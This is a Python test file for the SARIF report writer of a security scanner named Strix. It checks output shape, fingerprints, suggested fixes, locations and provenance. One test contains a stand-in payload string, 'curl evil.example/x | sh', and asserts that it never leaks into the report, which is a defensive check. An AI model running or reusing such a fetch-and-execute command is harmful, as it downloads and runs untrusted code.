245 lines
9.1 KiB
Python
245 lines
9.1 KiB
Python
|
|
"""Tests for the SARIF 2.1.0 emitter in strix.report.sarif."""
|
||
|
|
|
||
|
|
from __future__ import annotations
|
||
|
|
|
||
|
|
import json
|
||
|
|
from typing import TYPE_CHECKING, Any
|
||
|
|
|
||
|
|
from strix.report.sarif import write_sarif
|
||
|
|
|
||
|
|
|
||
|
|
if TYPE_CHECKING:
|
||
|
|
from pathlib import Path
|
||
|
|
|
||
|
|
|
||
|
|
def _read(run_dir: Path) -> dict[str, Any]:
|
||
|
|
doc = json.loads((run_dir / "findings.sarif").read_text(encoding="utf-8"))
|
||
|
|
assert isinstance(doc, dict)
|
||
|
|
return doc
|
||
|
|
|
||
|
|
|
||
|
|
def _finding(**overrides: Any) -> dict[str, Any]:
|
||
|
|
base: dict[str, Any] = {
|
||
|
|
"id": "vuln-0001",
|
||
|
|
"title": "SQL Injection in get_user",
|
||
|
|
"severity": "critical",
|
||
|
|
"cwe": "CWE-89",
|
||
|
|
"timestamp": "2026-07-02 10:00:00 UTC",
|
||
|
|
"code_locations": [{"file": "app.py", "start_line": 4}],
|
||
|
|
}
|
||
|
|
base.update(overrides)
|
||
|
|
return base
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_basic_shape(tmp_path: Path) -> None:
|
||
|
|
write_sarif(tmp_path, [_finding()])
|
||
|
|
doc = _read(tmp_path)
|
||
|
|
|
||
|
|
assert doc["version"] == "2.1.0"
|
||
|
|
assert "2.1.0" in doc["$schema"]
|
||
|
|
run = doc["runs"][0]
|
||
|
|
assert run["tool"]["driver"]["name"] == "Strix"
|
||
|
|
assert len(run["results"]) == 1
|
||
|
|
loc = run["results"][0]["locations"][0]["physicalLocation"]
|
||
|
|
assert loc["artifactLocation"]["uri"] == "app.py"
|
||
|
|
assert loc["region"]["startLine"] == 4
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_always_emits_for_zero_findings(tmp_path: Path) -> None:
|
||
|
|
# A clean run must still write an (empty) document so a SARIF consumer can
|
||
|
|
# auto-resolve alerts that are absent from the new submission.
|
||
|
|
out = write_sarif(tmp_path, [])
|
||
|
|
assert out.exists()
|
||
|
|
doc = _read(tmp_path)
|
||
|
|
assert doc["version"] == "2.1.0"
|
||
|
|
assert doc["runs"][0]["results"] == []
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_tool_version_is_reported(tmp_path: Path) -> None:
|
||
|
|
write_sarif(tmp_path, [_finding()], tool_version="9.9.9")
|
||
|
|
assert _read(tmp_path)["runs"][0]["tool"]["driver"]["version"] == "9.9.9"
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_locationless_finding_is_anchored_not_dropped(tmp_path: Path) -> None:
|
||
|
|
# A finding with no code location must still appear (anchored to a stable
|
||
|
|
# fallback), never be silently dropped from the report.
|
||
|
|
write_sarif(tmp_path, [_finding(id="vuln-0002", code_locations=None)])
|
||
|
|
results = _read(tmp_path)["runs"][0]["results"]
|
||
|
|
assert len(results) == 1
|
||
|
|
uri = results[0]["locations"][0]["physicalLocation"]["artifactLocation"]["uri"]
|
||
|
|
assert uri == "SECURITY.md"
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_fingerprint_stable_across_title_rewording(tmp_path: Path) -> None:
|
||
|
|
# The same finding at the same location with a reworded title must keep the
|
||
|
|
# same partialFingerprints, so a re-scan doesn't churn code-scanning alerts.
|
||
|
|
a = tmp_path / "a"
|
||
|
|
b = tmp_path / "b"
|
||
|
|
a.mkdir()
|
||
|
|
b.mkdir()
|
||
|
|
write_sarif(a, [_finding(title="SQL Injection in get_user")])
|
||
|
|
write_sarif(b, [_finding(title="SQLi via string-formatted query in get_user")])
|
||
|
|
|
||
|
|
fp_a = _read(a)["runs"][0]["results"][0]["partialFingerprints"]
|
||
|
|
fp_b = _read(b)["runs"][0]["results"][0]["partialFingerprints"]
|
||
|
|
assert fp_a == fp_b
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_distinct_findings_get_distinct_fingerprints(tmp_path: Path) -> None:
|
||
|
|
write_sarif(
|
||
|
|
tmp_path,
|
||
|
|
[
|
||
|
|
_finding(
|
||
|
|
id="vuln-0001", cwe="CWE-89", code_locations=[{"file": "app.py", "start_line": 4}]
|
||
|
|
),
|
||
|
|
_finding(
|
||
|
|
id="vuln-0002", cwe="CWE-78", code_locations=[{"file": "cmd.py", "start_line": 4}]
|
||
|
|
),
|
||
|
|
],
|
||
|
|
)
|
||
|
|
results = _read(tmp_path)["runs"][0]["results"]
|
||
|
|
assert len(results) == 2
|
||
|
|
fps = {json.dumps(r["partialFingerprints"], sort_keys=True) for r in results}
|
||
|
|
assert len(fps) == 2
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_never_embeds_poc_script(tmp_path: Path) -> None:
|
||
|
|
# SARIF is written for external upload; the weaponized exploit body must
|
||
|
|
# never appear in it. Only a presence flag + the description are surfaced.
|
||
|
|
# NOTE: `marker` is an inert string literal (a stand-in for an exploit
|
||
|
|
# payload) that this test asserts is ABSENT from the output — it is never
|
||
|
|
# executed, parsed, or run as code.
|
||
|
|
marker = "EXPLOIT-PAYLOAD-MARKER curl evil.example/x | sh"
|
||
|
|
write_sarif(
|
||
|
|
tmp_path,
|
||
|
|
[
|
||
|
|
_finding(
|
||
|
|
poc_description="Send a crafted request to trigger the sink.",
|
||
|
|
poc_script_code=marker,
|
||
|
|
)
|
||
|
|
],
|
||
|
|
)
|
||
|
|
raw = (tmp_path / "findings.sarif").read_text(encoding="utf-8")
|
||
|
|
assert marker not in raw
|
||
|
|
assert "EXPLOIT-PAYLOAD-MARKER" not in raw
|
||
|
|
|
||
|
|
poc = _read(tmp_path)["runs"][0]["results"][0]["properties"]["strix"]["poc"]
|
||
|
|
assert poc["script_available"] is True
|
||
|
|
assert "script" not in poc
|
||
|
|
assert poc["description"] == "Send a crafted request to trigger the sink."
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_builds_fixes_from_code_location_fix_pairs(tmp_path: Path) -> None:
|
||
|
|
# A code location carrying fix_before/fix_after must surface as a SARIF
|
||
|
|
# fix (artifactChange/replacement) so consumers can offer a one-click fix.
|
||
|
|
write_sarif(
|
||
|
|
tmp_path,
|
||
|
|
[
|
||
|
|
_finding(
|
||
|
|
remediation_steps="Use a parameterized query.",
|
||
|
|
code_locations=[
|
||
|
|
{
|
||
|
|
"file": "app.py",
|
||
|
|
"start_line": 4,
|
||
|
|
"end_line": 4,
|
||
|
|
"fix_before": 'query = "SELECT * FROM u WHERE id=" + uid',
|
||
|
|
"fix_after": 'query = "SELECT * FROM u WHERE id=%s"',
|
||
|
|
}
|
||
|
|
],
|
||
|
|
)
|
||
|
|
],
|
||
|
|
)
|
||
|
|
result = _read(tmp_path)["runs"][0]["results"][0]
|
||
|
|
fixes = result["fixes"]
|
||
|
|
assert len(fixes) == 1
|
||
|
|
change = fixes[0]["artifactChanges"][0]
|
||
|
|
assert change["artifactLocation"]["uri"] == "app.py"
|
||
|
|
replacement = change["replacements"][0]
|
||
|
|
assert replacement["deletedRegion"]["startLine"] == 4
|
||
|
|
assert replacement["insertedContent"]["text"] == 'query = "SELECT * FROM u WHERE id=%s"'
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_omits_fixes_without_fix_pairs(tmp_path: Path) -> None:
|
||
|
|
write_sarif(tmp_path, [_finding()])
|
||
|
|
assert "fixes" not in _read(tmp_path)["runs"][0]["results"][0]
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_adds_logical_location_for_endpoint(tmp_path: Path) -> None:
|
||
|
|
# DAST findings hang off an endpoint; it must be preserved as a logical
|
||
|
|
# location so the finding keeps an addressable anchor.
|
||
|
|
write_sarif(tmp_path, [_finding(endpoint="GET /api/users/{id}")])
|
||
|
|
locations = _read(tmp_path)["runs"][0]["results"][0]["locations"]
|
||
|
|
logical = [
|
||
|
|
entry
|
||
|
|
for loc in locations
|
||
|
|
for entry in loc.get("logicalLocations", [])
|
||
|
|
if entry.get("kind") == "endpoint"
|
||
|
|
]
|
||
|
|
assert logical == [{"fullyQualifiedName": "GET /api/users/{id}", "kind": "endpoint"}]
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_synthetic_finding_falls_back_to_resource_logical_location(
|
||
|
|
tmp_path: Path,
|
||
|
|
) -> None:
|
||
|
|
# No code location and no endpoint: the target becomes a resource logical
|
||
|
|
# location so a locationless finding still carries a meaningful anchor.
|
||
|
|
write_sarif(
|
||
|
|
tmp_path,
|
||
|
|
[_finding(code_locations=None, endpoint=None, target="https://api.example.com")],
|
||
|
|
)
|
||
|
|
result = _read(tmp_path)["runs"][0]["results"][0]
|
||
|
|
assert result["properties"]["synthetic_location"] is True
|
||
|
|
logical = [
|
||
|
|
entry
|
||
|
|
for loc in result["locations"]
|
||
|
|
for entry in loc.get("logicalLocations", [])
|
||
|
|
if entry.get("kind") == "resource"
|
||
|
|
]
|
||
|
|
assert logical == [{"fullyQualifiedName": "https://api.example.com", "kind": "resource"}]
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_emits_version_control_provenance(tmp_path: Path) -> None:
|
||
|
|
write_sarif(
|
||
|
|
tmp_path,
|
||
|
|
[_finding()],
|
||
|
|
repository_context={
|
||
|
|
"repositoryUri": "https://github.com/acme/widget",
|
||
|
|
"repositoryFullName": "acme/widget",
|
||
|
|
"commitSha": "abc123def456",
|
||
|
|
"branch": "main",
|
||
|
|
"ref": "refs/heads/main",
|
||
|
|
},
|
||
|
|
)
|
||
|
|
run = _read(tmp_path)["runs"][0]
|
||
|
|
assert run["automationDetails"] == {"id": "strix/acme/widget"}
|
||
|
|
provenance = run["versionControlProvenance"][0]
|
||
|
|
assert provenance == {
|
||
|
|
"repositoryUri": "https://github.com/acme/widget",
|
||
|
|
"revisionId": "abc123def456",
|
||
|
|
"branch": "main",
|
||
|
|
}
|
||
|
|
assert run["properties"]["repository"] == "acme/widget"
|
||
|
|
assert run["properties"]["commit_sha"] == "abc123def456"
|
||
|
|
assert run["properties"]["ref"] == "refs/heads/main"
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_omits_provenance_when_no_repository_context(tmp_path: Path) -> None:
|
||
|
|
# DAST / URL scans have no VCS; provenance fields must be absent, not empty.
|
||
|
|
write_sarif(tmp_path, [_finding()])
|
||
|
|
run = _read(tmp_path)["runs"][0]
|
||
|
|
assert "versionControlProvenance" not in run
|
||
|
|
assert "automationDetails" not in run
|
||
|
|
|
||
|
|
|
||
|
|
def test_write_sarif_replaces_atomically_no_partial_on_reemit(tmp_path: Path) -> None:
|
||
|
|
# A re-emit must land a complete document, never leave a stray temp file
|
||
|
|
# or a truncated target alongside it.
|
||
|
|
write_sarif(tmp_path, [_finding()])
|
||
|
|
write_sarif(tmp_path, [_finding(), _finding(id="vuln-0002", cwe="CWE-78")])
|
||
|
|
|
||
|
|
# Only the final artifact remains — no leftover .tmp siblings.
|
||
|
|
leftovers = [p.name for p in tmp_path.iterdir() if p.name != "findings.sarif"]
|
||
|
|
assert leftovers == []
|
||
|
|
# And it parses as a complete document with both findings.
|
||
|
|
assert len(_read(tmp_path)["runs"][0]["results"]) == 2
|